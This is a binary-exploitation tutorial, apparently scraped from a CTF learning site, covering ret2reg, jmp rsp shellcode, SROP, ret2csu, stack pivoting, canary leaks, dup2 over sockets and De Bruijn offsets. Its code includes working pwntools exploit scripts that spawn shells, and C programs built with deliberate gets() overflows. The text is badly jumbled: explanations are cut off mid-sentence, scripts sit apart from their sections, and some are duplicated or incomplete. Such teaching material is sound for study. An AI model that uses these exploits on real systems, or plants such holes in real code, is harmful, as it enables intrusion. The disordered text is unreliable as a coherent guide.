ret2reg simply involves jumping to register addresses rather than hardcoded addresses, much like . For example, you may find RAX always points at your buffer when the ret is executed, so you could utilise a call rax or jmp rax to continue from there.
The reason RAX is the most common for this technique is that, by convention, the return value of a function is stored in RAX. For example, take the following basic code:
If we compile and disassemble the function, we get this:
As you can see, the value
Using ret2reg
Source
Any function that returns a pointer to the string once it acts on it is a prime target. There are many that do this, including stuff like gets(), strcpy() and fgets(). We''l keep it simple and use gets() as an example.
One Gadgets and Malloc Hook
Quick shells and pointers
A one_gadget is simply an execve("/bin/sh") command that is present in gLIBC, and this can be a quick win with GOT overwrites - next time the function is called, the one_gadget is executed and the shell is popped.
__malloc_hook is a feature in C. The defines __malloc_hook as:
The value of this variable is a pointer to the function that malloc
Using RSP
Source
You can ignore most of it as it's mostly there to accomodate the existence of jmp rsp - we don't actually want it called, so there's a negative if statement.
Exploitation with Syscalls
The Source
To make it super simple, I made it in assembly using pwntools:
The binary contains all the gadgets you need! First it executes a read syscall, writes to the stack, then the ret occurs and you can gain control.
Syscalls
Interfacing directly with the kernel
Overview
A syscall is a system call, and is how the program enters the kernel in order to carry out specific tasks such as creating processes, I/O and any others they would require kernel-level access.
Browsing the , you may notice that certain syscalls are similar to libc functions such as open(), fork()
#include <stdio.h>
void vuln() {
puts("Come get me");
char buffer[20];
gets(buffer);
}
int main() {
vuln();
return 0;
}
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
printf("Main Function is at: %lx\n", main);
gets(buffer);
}
void win() {
puts("PIE bypassed! Great job :D");
}
#include <stdio.h>
void vuln() {
char buffer[20];
puts("Give me the input");
gets(buffer);
}
int main() {
vuln();
return 0;
}
or
read()
; this is because these functions are simply wrappers
around
the syscalls, making it much easier for the programmer.
Triggering Syscalls
On Linux, a syscall is triggered by the int80 instruction. Once it's called, the kernel checks the value stored in RAX - this is the syscall number, which defines what syscall gets run. As per the table, the other parameters can be stored in RDI, RSI, RDX, etc and every parameter has a different meaning for the different syscalls.
Execve
A notable syscall is the execve syscall, which executes the program passed to it in RDI. RSI and RDX hold arvp and envp respectively.
This means, if there is no system() function, we can use execve to call /bin/sh instead - all we have to do is pass in a pointer to /bin/sh to RDI, and populate RSI and RDX with 0 (this is because both argv and envp need to be NULL to pop a shell).
A sigreturn is a special type of syscall. The purpose of sigreturn is to return from the signal handler and to clean up the stack frame after a signal has been unblocked.
What this involves is storing all the register values on the stack. Once the signal is unblocked, all the values are popped back in (RSP points to the bottom of the sigreturn frame, this collection of register values).
Exploitation
By leveraging a sigreturn, we can control all register values at once - amazing! Yet this is also a drawback - we can't pick-and-choose registers, so if we don't have a stack leak it'll be hard to set registers like RSP to a workable value. Nevertheless, this is a super powerful technique - especially with limited gadgets.
CSU Hardening
As of glibc 2.34, the CSU has been hardened to remove the useful gadgets. This patch is the offendor, and it essentially removes __libc_csu_init (as well as a couple other functions) entirely.
Unfortunately, changing this breaks the ABI (application binary interface), meaning that any binaries compiled in this way can not run on pre-2.34 glibc versions - which can make things quite annoying for CTF challenges if you have an outdated glibc version. Older compilations, however, can work on the newer versions.
ret2csu is a technique for populating registers when there is a lack of gadgets. More information can be found in the original paper, but a summary is as follows:
When an application is dynamically compiled (compiled with libc linked to it), there is a selection of functions it contains to allow the linking. These functions contain within them a selection of gadgets that we can use to populate registers we lack gadgets for, most importantly __libc_csu_init, which contains the following two gadgets:
The second might not look like a gadget, but if you look it calls r15 + rbx*8. The first gadget chain allows us to control both r15 and rbx in that series of huge pop operations, meaning whe can control where the second gadget calls afterwards.
Note it's call qword [r15 + rbx*8], not call qword r15 + rbx*8. This means it'll calculate r15 + rbx*8 then go to that memory address, read it, and call that value. This mean we have to find a memory address that contains where we want to jump.
These gadget chains allow us, despite an apparent lack of gadgets, to populate the RDX and RSI registers (which are important for parameters) via the second gadget, then jump wherever we wish by simply controlling r15 and rbx to workable values.
This means we can potentially pull off syscalls for execve, or populate parameters for functions such as write().
You may wonder why we would do something like this if we're linked to libc - why not just read the GOT? Well, some functions - such as write() - require three parameters (and at least 2), so we would require ret2csu to populate them if there was a lack of gadgets.
uses whenever it is called.
To summarise, when you call malloc() the function __malloc_hook points to also gets called - so if we can overwrite this with, say, a one_gadget, and somehow trigger a call to malloc(), we can get an easy shell.
Finding One_Gadgets
Luckily there is a tool written in Ruby called one_gadget. To install it, run:
And then you can simply run
For most one_gadgets, certain criteria have to be met. This means they won't all work - in fact, none of them may work.
Triggering malloc()
Wait a sec - isn't malloc() a heap function? How will we use it on the stack? Well, you can actually trigger malloc by calling printf("%10000$c") (this allocates too many bytes for the stack, forcing libc to allocate the space on the heap instead). So, if you have a format string vulnerability, calling malloc is trivial.
Practise
This is a hard technique to give you practise on, due to the fact that your libc version may not even have working one_gadgets. As such, feel free to play around with the GOT overwrite binary and see if you can get a one_gadget working.
Remember, the value given by the one_gadget tool needs to be added to libc base as it's just an offset.
The chance of jmp esp gadgets existing in the binary are incredible low, but what you often do instead is find a sequence of bytes that code for jmp rsp and jump there - jmp rsp is \xff\xe4 in shellcode, so if there's is any part of the executable section with bytes in this order, they can be used as if they are a jmp rsp.
Exploitation
Try to do this yourself first, using the explanation on the previous page. Remember, RSP points at the thing after the return pointer once ret has occured, so your shellcode goes after it.
Solution
Limited Space
You won't always have enough overflow - perhaps you'll only have 7 or 8 bytes. What you can do in this scenario is make the shellcode after the RIP equivalent to something like
Where 0x20 is the offset between the current value of RSP and the start of the buffer. In the buffer itself, we put the main shellcode. Let's try that!
The 10 is just a placeholder. Once we hit the pause(), we attach with radare2 and set a breakpoint on the ret, then continue. Once we hit it, we find the beginning of the A string and work out the offset between that and the current value of RSP - it's 128!
Solution
We successfully pivoted back to our shellcode - and because all our addresses are relative, it's completely reliable! ASLR beaten with pure shellcode.
This is harder with PIE as the location of jmp rsp will change, so you might have to leak PIE base!
? I slightly cheesed this one and couldn't be bothered to add it to the assembly, so I just did:
Exploitation
As we mentioned before, we need the following layout in the registers:
To get the address of the gadgets, I'll just do objdump -d vuln. The address of /bin/sh can be gotten using strings:
The offset from the base to the string is 0x1250 (-t x tells strings to print the offset as hex). Armed with all this information, we can set up the constants:
Now we just need to populate the registers. I'll tell you the padding is 8 to save time:
[*] 'vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
p.recvuntil('at: ')
main = int(p.recvline(), 16)
elf.address = main - elf.sym['main']
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
print(p.clean().decode('latin-1'))
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
rop = ROP(elf)
rop.raw('A' * 32)
rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts']) # now our shellcode is written there, we can continue execution from there
p.recvline()
p.sendline(rop.chain())
p.sendline(asm(shellcraft.sh()))
p.interactive()
from pwn import *
elf = context.binary = ELF('./vuln-32')
p = process()
rop = ROP(elf)
rop.raw('A' * 32)
rop.gets(elf.got['puts']) # Call gets, writing to the GOT entry of puts
rop.raw(elf.got['puts']) # now our shellcode is written there, we can continue execution from there
p.recvline()
p.sendline(rop.chain())
p.sendline(asm(shellcraft.sh()))
p.interactive()
0x004011a2 5b pop rbx
0x004011a3 5d pop rbp
0x004011a4 415c pop r12
0x004011a6 415d pop r13
0x004011a8 415e pop r14
0x004011aa 415f pop r15
0x004011ac c3 ret
gem install one_gadget
one_gadget libc
#include <stdio.h>
int test = 0;
int main() {
char input[100];
puts("Get me with shellcode and RSP!");
gets(input);
if(test) {
asm("jmp *%rsp");
return 0;
}
else {
return 0;
}
}
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
# we use elf.search() because we don't need those instructions directly,
# just anu sequence of \xff\xe4
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = flat(
'A' * 120, # padding
jmp_rsp, # RSP will be pointing to shellcode, so we jump there
asm(shellcraft.sh()) # place the shellcode
)
p.sendlineafter('RSP!\n', payload)
p.interactive()
First, let's make sure that some register does point to the buffer:
Now we'll set a breakpoint on the ret in vuln(), continue and enter text.
We've hit the breakpoint, let's check if RAX points to our register. We'll assume RAX first because that's the traditional register to use for the return value.
And indeed it does!
Exploitation
We now just need a jmp rax gadget or equivalent. I'll use ROPgadget for this and look for either jmp rax or call rax:
There's a jmp rax at 0x40109c, so I'll use that. The padding up until RIP is 120; I assume you can calculate this yourselves by now, so I won't bother showing it.
Awesome!
Using SROP
Source
As with the syscalls, I made the binary using the pwntools ELF features:
It's quite simple - a read syscall, followed by a pop rax; ret gadget. You can't control RDI/RSI/RDX, which you need to pop a shell, so you'll have to use SROP.
Once again, I added /bin/sh to the binary:
Exploitation
First let's plonk down the available gadgets and their location, as well as the location of /bin/sh.
From here, I suggest you try the payload yourself. The padding (as you can see in the assembly) is 8 bytes until RIP, then you'll need to trigger a sigreturn, followed by the values of the registers.
The triggering of a sigreturn is easy - sigreturn is syscall 0xf (15), so we just pop that into RAX and call syscall:
Now the syscall looks at the location of RSP for the register values; we'll have to fake them. They have to be in a specific order, but luckily for us pwntools has a cool feature called a SigreturnFrame() that handles the order for us.
Now we just need to decide what the register values should be. We want to trigger an execve() syscall, so we'll set the registers to the values we need for that:
However, in order to trigger this we also have to control RIP and point it back at the syscall gadget, so the execve actually executes:
We then append it to the payload and send.
Final Exploit
Exploitation
Source
Obviously, you can do a ret2plt followed by a ret2libc, but that's really not the point of this. Try calling win(), and to do that you have to populate the register rdx. Try what we've talked about, and then have a look at the answer if you get stuck.
Forking Processes
Flaws with fork()
Some processes use fork() to deal with multiple requests at once, most notably servers.
An interesting side-effect of fork() is that memory is copied exactly. This means everything is identical - ELF base, libc base, canaries.
This "shared" memory is interesting from an attacking point of view as it allows us to do a byte-by-byte bruteforce. Simply put, if there is a response from the server when we send a message, we can work out when it crashed. We keep spamming bytes until there's a response. If the server crashes, the byte is wrong. If not, it's correct.
This allows us to bruteforce the RIP one byte at a time, essentially leaking PIE - and the same thing for canaries and RBP. 24 bytes of multithreaded bruteforce, and once you leak all of those you can bypass a canary, get a stack leak from RBP and PIE base from RIP.
Exploitation
Stack Pivoting
Source
It's fairly clear what the aim is - call winner() with the two correct parameters. The fgets() means there's a limited number of bytes we can overflow, and it's not enough for a regular ROP chain. There's also a leak to the start of the buffer, so we know where to set RSP to.
We'll try two ways - using pop rsp
Exploiting over Sockets
File Descriptors and Sockets
Overview
File Descriptors are integers that represent conections to sockets or files or whatever you're connecting to. In Unix systems, there are 3 main file descriptors (often abbreviated fd) for each application:
Socat
More on socat
socat is a "multipurpose relay" often used to serve binary exploitation challenges in CTFs. Essentially, it transfers stdin and stdout to the socket and also allows simple forking capabilities. The following is an example of how you could host a binary on port 5000:
Most of the command is fairly logical (and the rest you can look up). The important part is that in this scenario we don't have to , as socat does it all for us.
What is important, however, is pty
Exploit
Duplicating the Descriptors
Source
I'll include source.c, but most of it is socket programming derived from . The two relevent functions - vuln() and win() - I'll list below.
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
# Send it off...
p.recvuntil(b'|') # This is not required
puts_leak = u32(p.recv(4)) # 4 bytes because it's 32-bit
[0x7f8ac76fa090]> db 0x0040113d
[0x7f8ac76fa090]> dc
hello
hit breakpoint at: 40113d
[0x0040113d]> dr rax
0x7ffd419895c0
[0x0040113d]> ps @ 0x7ffd419895c0
hello
$ ROPgadget --binary vuln | grep -iE "(jmp|call) rax"
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401019 ; call rax
0x0000000000401010 : call rax
0x000000000040100e : je 0x401014 ; call rax
0x0000000000401095 : je 0x4010a7 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d7 : je 0x4010e7 ; mov edi, 0x404030 ; jmp rax
0x000000000040109c : jmp rax
0x0000000000401097 : mov edi, 0x404030 ; jmp rax
0x0000000000401096 : or dword ptr [rdi + 0x404030], edi ; jmp rax
0x000000000040100c : test eax, eax ; je 0x401016 ; call rax
0x0000000000401093 : test eax, eax ; je 0x4010a9 ; mov edi, 0x404030 ; jmp rax
0x00000000004010d5 : test eax, eax ; je 0x4010e9 ; mov edi, 0x404030 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401017 ; call rax
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
JMP_RAX = 0x40109c
payload = asm(shellcraft.sh()) # front of buffer <- RAX points here
payload = payload.ljust(120, b'A') # pad until RIP
payload += p64(JMP_RAX) # jump to the buffer - return value of gets()
p.sendline(payload)
p.interactive()
I won't be making a binary for this (yet), but you can check out ippsec's Rope writeup for HTB - Rope root was this exact technique.
Stack
mode. Because
pty
mode allows you to communicate with the process as if you were a user, it takes in input literally -
including DELETE characters
. If you send a
\x7f
- a
DELETE
- it will
literally
delete the previous character (as shown shortly in my
writeup). This is incredibly relevant because in 64-bit the \x7f is almost always present in glibc addresses, so it's not quite so possible to avoid (although you could keep rerunning the exploit until the rare occasion you get an 0x7e... libc base).
To bypass this we use the socatpty escape character \x16 and prepend it to any \x7f we send across.
We can work out the addresses of the massive chains using r2, and chuck this all into pwntools.
Note I'm not popping RBX, despite the call. This is because RBX ends up being 0 anyway, and you want to mess with the least number of registers you need to to ensure the best success.
Exploitation
Finding a win()
Now we need to find a memory location that has the address of win() written into it so that we can point r15 at it. I'm going to opt to call gets() again instead, and then input the address. The location we input to is a fixed location of our choice, which is reliable. Now we just need to find a location.
To do this, I'll run r2 on the binary then dcu main to contiune until main. Now let's check permissions:
The third location is RW, so let's check it out.
The address 0x404028 appears unused, so I'll write win() there.
Reading in win()
To do this, I'll just use the ROP class.
Popping the registers
Now we have the address written there, let's just get the massive ropchain and plonk it all in
Sending it off
Don't forget to pass a parameter to the gets():
Final Exploit
And we have successfully controlled RDX - without any RDX gadgets!
Simplification
As you probably noticed, we don't need to pop off r12 or r13, so we can move POP_CHAIN a couple of intructions along:
, and using
leave; ret
. There's no
xchg
gadget, but it's virtually identical to just popping RSP anyway.
Since I assume you know how to calculate padding, I'll tell you there's 96 until we overwrite stored RBP and 104 (as expected) until stored RIP.
Basic Setup
Just to get the basics out of the way, as this is common to both approaches:
These are, as shown above, standard input, output and error. You've probably used them before yourself, for example to hide errors when running commands:
Here you're piping stderr to /dev/null, which is the same principle.
File Descriptors and Sockets
Many binaries in CTFs use programs such as socat to redirect stdin and stdout (and sometimes stderr) to the user when they connect. These are super simple and often require no more than a replacement of
With the line
Others, however, implement their own socket programming in C. In these scenarios, stdin and stdout may not be shown back to the user.
The reason for this is every new connection has a different fd. If you listen in C, since fd 0-2 is reserved, the listening socket will often be assigned fd 3. Once we connect, we set up another fd, fd 4 (neither the 3 nor the 4 is certain, but statistically likely).
Exploitation with File Desciptors
In these scenarios, it's just as simple to pop a shell. This shell, however, is not shown back to the user - it's shown back to the terminal running the server. Why? Because it utilises fd 0, 1 and 2 for its I/O.
Here we have to tell the program to duplicate the file descriptor in order to redirect stdin and stderr to fd 4, and glibc provides a simple way to do so.
The dup syscall (and C function) duplicates the fd and uses the lowest-numbered free fd. However, we need to ensure it's fd 4 that's used, so we can use dup2(). dup2 takes in two parameters: a newfd and an oldfd. Descriptor oldfd is duplicated to newfd, allowing us to interact with stdin and stdout and actually use any shell we may have popped.
Note that the man page outlines how if newfd is in use it is silently closed, which is exactly what we wish.
Name
fd
#include <stdio.h>
int win(int x, int y, int z) {
if(z == 0xdeadbeefcafed00d) {
puts("Awesome work!");
}
}
int main() {
puts("Come on then, ret2csu me");
char input[30];
gets(input);
return 0;
}
[...]
0x00401208 4c89f2 mov rdx, r14
0x0040120b 4c89ee mov rsi, r13
0x0040120e 4489e7 mov edi, r12d
0x00401211 41ff14df call qword [r15 + rbx*8]
0x00401215 4883c301 add rbx, 1
0x00401219 4839dd cmp rbp, rbx
0x0040121c 75ea jne 0x401208
0x0040121e 4883c408 add rsp, 8
0x00401222 5b pop rbx
0x00401223 5d pop rbp
0x00401224 415c pop r12
0x00401226 415d pop r13
0x00401228 415e pop r14
0x0040122a 415f pop r15
0x0040122c c3 ret
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
[0x00401199]> dm
0x0000000000400000 - 0x0000000000401000 - usr 4K s r--
0x0000000000401000 - 0x0000000000402000 * usr 4K s r-x
0x0000000000402000 - 0x0000000000403000 - usr 4K s r--
0x0000000000403000 - 0x0000000000404000 - usr 4K s r--
0x0000000000404000 - 0x0000000000405000 - usr 4K s rw-
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
rop = ROP(elf)
POP_CHAIN = 0x00401228 # pop r14, pop r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))
print(p.recvline())
// gcc source.c -o vuln -no-pie
#include <stdio.h>
void winner(int a, int b) {
if(a == 0xdeadbeef && b == 0xdeadc0de) {
puts("Great job!");
return;
}
puts("Whelp, almost...?");
}
void vuln() {
char buffer[0x60];
printf("Try pivoting to: %p\n", buffer);
fgets(buffer, 0x80, stdin);
}
int main() {
vuln();
return 0;
}
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
find / -name secret.txt 2>/dev/null
p = process()
p = remote(host, port)
.
Exploitation
Start the binary with ./vuln 9001.
Basic setup, except it's a remote process:
Testing Offset
I pass in a basic De Bruijn pattern and pause directly before:
Once the pause() is reached, I hook on with radare2 and set a breakpoint at the ret.
So we have a shell, but no way to control it. Time to use dup2.
I've simplified this challenge a lot by including a call to dup2() within the vulnerable binary, but normally you would leak libc via the GOT and then use libc's dup2() rather than the PLT; this walkthrough is about the basics, so I kept it as simple as possible.
Duplicating File Descriptors
As we know, we need to call dup2(newfd, oldfd). newfd will be 4 (our connection fd) and oldfd will be 0 and 1 (we need to call it twice to redirect bothstdin and stdout). Knowing what you do about calling conventions, have a go at doing this and then caling win(). The answer is below.
Using dup2()
Since we need two parameters, we'll need to find a gadget for RDI and RSI. I'll use ROPgadget to find these.
Plonk these values into the script.
Now to get all the calls to dup2().
And wehey - the file descriptors were successfully duplicated!
Final Exploit
Pwntools' ROP
These kinds of chains are where pwntools' ROP capabilities really come into their own:
Works perfectly and is much shorter and more readable!
By calling leave; ret twice, as described, this happens:
By controlling the value popped into RBP, we can control RSP.
Gadgets
As before, but with a difference:
Testing the leave
I won't bother stepping through it again - if you want that, check out the .
Essentially, that pops buffer into RSP (as described previously).
Full Payload
You might be tempted to just chuck the payload into the buffer and boom, RSP points there, but you can't quite - as with the previous approach, there is a pop instruction that needs to be accounted for - again, remember leave is
So once you overwrite RSP, you still need to give a value for the pop rbp.
Final Exploit
pop rsp
Using a pop rsp gadget to stack pivot
Exploitation
Gadgets
FIrst off, let's grab all the gadgets. I'll use ROPgadget again to do so:
Now we have all the gadgets, let's chuck them into the script:
Testing the pop
Let's just make sure the pop works by sending a basic chain and then breaking on ret and stepping through.
If you're careful, you may notice the mistake here, but I'll point it out in a sec. Send it off, attach r2.
You may see that only the gadget + 2 more values were written; this is because our buffer length is limited, and this is the reason we need to stack pivot. Let's step through the first pop.
You may notice it's the same as our "leaked" value, so it's working. Now let's try and pop the 0x0 into r13.
What? We passed in 0x0 to the gadget!
Remember, however, that pop r13 is equivalent to mov r13, [rsp] - the value from the top of the stack is moved into r13. Because we moved RSP, the top of the stack moved to our buffer and AAAAAAAA was popped into it - because that's what the top of the stack points to now.
Full Payload
Now we understand the intricasies of the pop, let's just finish the exploit off. To account for the additional pop calls, we have to put some junk at the beginning of the buffer, before we put in the ropchain.
Final Exploit
De Bruijn Sequences
The better way to calculate offsets
De Bruijn sequences of order n is simply a sequence where no string of n characters is repeated. This makes finding the offset until EIP much simpler - we can just pass in a De Bruijn sequence, get the value within EIP and find the one possible match within the sequence to calculate the offset. Let's do this on the ret2win binary.
Again, radare2 comes with a nice command-line tool (called ragg2) that can generate it for us. Let's create a sequence of length 100.
The -P specifies the length while -r tells it to show ascii bytes rather than hex pairs.
Using the Pattern
Now we have the pattern, let's just input it in radare2 when prompted for input, make it crash and then calculate how far along the sequence the EIP is. Simples.
The address it crashes on is 0x41534141; we can use radare2's in-built wopO command to work out the offset.
Awesome - we get the correct value!
We can also be lazy and not copy the value.
The backticks means the dr eip is calculated first, before the wopO is run on the result of it.
$ r2 -d -A vuln
[0xf7ede0b0]> dc
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0
[0x41534141]> wopO 0x41534141
52
[0x41534141]> wopO `dr eip`
52
Stack Canaries
The Buffer Overflow defence
Stack Canaries are very simple - at the beginning of the function, a random value is placed on the stack. Before the program executes ret, the current value of that variable is compared to the initial: if they are the same, no buffer overflow has occurred.
If they are not, the attacker attempted to overflow to control the return pointer and the program crashes, often with a ***stack smashing detected*** error message.
On Linux, stack canaries end in 00. This is so that they null-terminate any strings in case you make a mistake when using print functions, but it also makes them much easier to spot.
Bypassing Canaries
There are two ways to bypass a canary.
Leaking it
This is quite broad and will differ from binary to binary, but the main aim is to read the value. The simplest option is using format string if it is present - the canary, like other local variables, is on the stack, so if we can leak values off the stack it's easy.
Source
The source is very simple - it gives you a format string vulnerability, then a buffer overflow vulnerability. The format string we can use to leak the canary value, then we can use that value to overwrite the canary with itself. This way, we can overflow past the canary but not trigger the check as its value remains constant. And of course, we just have to run win().
32-bit
First let's check there is a canary:
Yup, there is. Now we need to calculate at what offset the canary is at, and to do this we'll use radare2.
The last value there is the canary. We can tell because it's roughly 64 bytes after the "buffer start", which should be close to the end of the buffer. Additionally, it ends in 00 and looks very random, unlike the libc and stack addresses that start with f7 and ff. If we count the number of address it's around 24 until that value, so we go one before and one after as well to make sure.
It appears to be at %23$p. Remember, stack canaries are randomised for each new process, so it won't be the same.
Now let's just automate grabbing the canary with pwntools:
Now all that's left is work out what the offset is until the canary, and then the offset from after the canary to the return pointer.
We see the canary is at 0xffea8afc. A little later on the return pointer (we assume) is at 0xffea8b0c. Let's break just after the next gets() and check what value we overwrite it with (we'll use a De Bruijn pattern).
Now we can check the canary and EIP offsets:
Return pointer is 16 bytes after the canary start, so 12 bytes after the canary.
64-bit
Same source, same approach, just 64-bit. Try it yourself before checking the solution.
Remember, in 64-bit format string goes to the relevant registers first and the addresses can fit 8 bytes each so the offset may be different.
Bruteforcing the Canary
This is possible on 32-bit, and sometimes unavoidable. It's not, however, feasible on 64-bit.
As you can expect, the general idea is to run the process loads and load of times with random canary values until you get a hit, which you can differentiate by the presence of a known plaintext, e.g. flag{ and this can take ages to run and is frankly not a particularly interesting challenge.
Shellcode
Running your own code
In real exploits, it's not particularly likely that you will have a win() function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.
Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!
I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.
The reason shellcode is successful is that (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.
Disabling ASLR
ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomising certain aspects of memory (we will talk about it in much more detail later). This randomisation can make shellcode exploits like the one we're about to do more less reliable, so we'll be disabling it for now .
Again, you should never run commands if you don't know what they do
Finding the Buffer in Memory
Let's debug vuln() using radare2 and work out where in memory the buffer starts; this is where we want to point the return pointer to.
This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets() and find the exact address.
It appears to be at 0xffffcfd4; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).
Finding the Padding
Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.
The padding is 312 bytes.
Putting it all together
In order for the shellcode to be correct, we're going to set context.binary to our binary; this grabs stuff like the arch, OS and bits and enables pwntools to provide us with working shellcode.
We can use just process() because once context.binary is set it is assumed to use that process
Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.
Yup, that's it. Now let's send it off and use p.interactive(), which enables us to communicate to the shell.
If you're getting an EOFError, print out the shellcode and try to find it in memory - the stack address may be wrong
And it works! Awesome.
Final Exploit
Summary
We injected shellcode, a series of assembly instructions, when prompted for input
We then hijacked code execution by overwriting the saved return pointer on the stack and modified it to point to our shellcode
Once the return pointer got popped into EIP, it pointed at our shellcode
Introduction
An introduction to binary exploitation
Binary Exploitation is about finding vulnerabilities in programs and utilising them to do what you wish. Sometimes this can result in an authentication bypass or the leaking of classified information, but occasionally (if you're lucky) it can also result in Remote Code Execution (RCE). The most basic forms of binary exploitation occur on the stack, a region of memory that stores temporary variables created by functions in code.
When a new function is called, a memory address in the calling function is pushed to the stack - this way, the program knows where to return to once the called function finishes execution. Let's look at a basic binary to show this.
Analysis
RELRO
Relocation Read-Only
RELRO is a protection to stop any GOT overwrites from taking place, and it does so very effectively. There are two types of RELRO, which are both easy to understand.
Partial RELRO
Partial RELRO simply moves the GOT above the program's variables, meaning you can't overflow into the GOT. This, of course, does not prevent format string overwrites.
Reliable Shellcode
Shellcode, but without the guesswork
Utilising ROP
The problem with shellcode exploits as they are is that the locations of it are questionable - wouldn't it be cool if we could control where we wrote it to?
Well, we can.
Instead of writing shellcode directly, we can instead use some ROP to take in input again - except this time, we specify the location as somewhere we control.
Virtual Addresses and Virtual Memory
If we disable ASLR and run two programs side-by-side, we might notice that the libc is loaded into the same address. Contrary to what you might think, these programs are not sharing the same instance of libc!
In fact, even with ASLR off, we can run two different programs and we might still notice that they are loaded into broadly the same part of memory.
The reason for this is is that the addresses we see in a debugger are virtual addresses.
Overview
Full RELRO
Full RELRO makes the GOT completely read-only, so even format string exploits cannot overwrite it. This is not the default in binaries due to the fact that it can make it take much longer to load as it need to resolve all the function addresses at once.
Using ESP
If you think about it, once the return pointer is popped off the stack ESP will points at whatever is after it in memory - after all, that's the entire basis of ROP. But what if we put shellcode there?
It's a crazy idea. But remember, ESP will point there. So what if we overwrite the return pointer with a jmp esp gadget! Once it gets popped off, ESP will point at the shellcode and thanks to the jmp esp it will be executed!
ret2reg
ret2reg extends the use of jmp esp to the use of any register that happens to point somewhere you need it to.
When a program and its libraries are started up, they are loaded into a Virtual Address Space (VAS). Addresses in the VAS are then mapped to real, physical locations in RAM!
This means that if you have two separate programs both loaded at 0x5655523fa000, this address actually corresponds to two different locations in RAM. The OS handles the translation by using the processor's Memory Management Unit (MMU), and the actual memory location differs for each process.
In fact, as the OS is what handles the mapping from virtual addresses to physical addresses, the executable itself only sees virtual addresses! So when pointers are printed out and display virtual addresses, that is not the program handling a layer of abstraction away from you, it genuinely treats pointers in that way. The abstraction is another layer deep.
The Kernel
The kernel only has one continguous virtual address space, so all processes running in kernel mode can see one another (and all user mode programs as well!). In fact, the reason programs are loaded in lower addresses is that in Linux the higher addresses are reserved for the kernel. This is why, later on, you will see drivers loaded at addresses starting with 0xffff...
Benefits
Virtual addressing has three main benefits.
Contiguous Memory Allocation
While physical RAM may not have a sufficient chunk of contiguous memory for a program, virtual addressing allows us to pretend as if it does, loading large programs into what seems to be one large chunk. The corresponding physical addresses, of course, could really be spread out all over memory. Virtual addresses mean we do not have to worry about such problems.
Strict Process Isolation
Processes cannot interfere with the address space of another process, creating a stronger security sandbox.
Allocate More Memory than we have RAM
